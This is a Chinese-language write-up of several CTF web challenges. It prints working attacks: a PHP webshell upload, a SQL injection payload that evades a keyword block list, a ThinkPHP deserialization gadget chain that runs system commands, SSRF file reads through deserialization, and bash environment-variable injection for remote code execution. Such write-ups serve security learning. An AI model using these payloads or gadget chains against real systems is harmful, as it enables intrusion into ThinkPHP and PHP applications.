100%_upload
<?=`cat /flag`?>
hacker
跑了一遍字典,发现注入的东西有很多,空格、or、and,但是没有禁用union和select
那就很明显了,联合查询user()发现最高权限是root,然后我就试试能不能读取文件,发现load_file可以读取\
<?php
echo "<!--flag在flag表里-->";
echo "<br>";
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "ctf";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$username=strtolower($_GET['username']);
$sensitive_keywords = array(" ","handler", "like", "or", "-~", "--", "--+", "information", "xor", "and", ";", "&", "|", "order", "floor","sys_tables","sys_columns","sys.schema_table_statistics_with_buffer","sys.schema_table_statistics","mid", "ascii");
// 检查参数中是否包含敏感关键词
foreach ($sensitive_keywords as $keyword) {
if (strpos($username, $keyword) !== false) {
// 如果参数中包含敏感关键词,弹窗提示用户
die("<script>alert('hacker');</script>");
// 可以选择终止脚本执行或者做其他处理
exit;
}
}
$sql="select id from flag where id='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// 输出每一行记录的 love 字段值
while($row = $result->fetch_assoc()) {
echo " " . $row["id"] . "<br>";
}
} else {
echo "0 结果";
}
// echo $result->num_rows;
// 关闭数据库连接
$conn->close();
?>
根据它这个表里面的过滤信息,我们直接无列名注入即可
payload:
http://yuanshen.life:35522/?username=alice'union/**/select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a%23
Oyst3rPHP
扫描目录可以得到一个www.zip
由于这是thinkphp框架写的,所以网站的首页是在app----controller目录里
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"."/>";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"."/>";
@unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
public function doLogin()
{
/*emmm我也不知道这是what,瞎写的*/
if ($this->request->isPost()) {
$username = $this->request->post('username');
$password = $this->request->post('password');
if ($username == 'your_username' && $password == 'your_password') {
$this->success('Login successful', 'index/index');
} else {
$this->error('Login failed');
}
}
}
}
很简单的逻辑,就是md5弱比较、正则回溯,然后反序列化而已
序列化的链子直接摘抄网上的就行了
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"cat /Oyst3333333r.php"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));
import requests
pay = "TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319"
url = "http://yuanshen.life:37346/?left=s1885207154a&right=s1502113478a"
data = {
"key":"a"*1000000+"603THINKPHP",
"payload":pay
}
res = requests.post(url=url,data=data)
print(res.text)
EZ_SSRF
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
// hint:hide other file
if(isset($_GET['Harder'])) {
unserialize($_GET['Harder']);
} else {
echo "You don't know how to pass parameters?";
}
?>
很简单的一道题,反序列化然后通过ssrf漏洞直接读取flag.php文件
<?php
class client{
public $url;
public $payload;
}
$a = new client;
$a->url = "file:///var/www/html/flag.php";
echo serialize($a);
?>
这里应该算是一个小小的非预期吧,因为出题人的目的应该是在admin.php里
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
die("You can't get flag");
} else {
echo $flag;
}
?>
Not just unserialize
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>
php反序列化,先找到入口点
statr---->destruct----->begin0fweb
----->SE----->set---->tostring------>isset
根据上面的链子编写exp
<?php
class start
{
public $welcome;
public $you;
}
class SE{
public $year;
}
class CR {
public $last;
public $newyear;
}
class ET{
}
$s = new start;
$s->welcome = new SE;
$s->welcome->year = new CR;
#这里大小写绕过一下
$s->welcome->year->newyear = "Worries";
$s->welcome->year->last = new ET;
echo base64_encode(serialize($s));
?>
成功的来到了这里,接下来就是一个老生常谈的一个考点了,环境变量注入
p牛的文章狠狠的推荐一遍
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
最后的payload
http://yuanshen.life:39676/?go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30&get[BASH_FUNC_echo%25%25]=()%20{%20cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg;%20}
还有两题Java,比赛到后面的时候也没时间去解了,跑去看vnctf了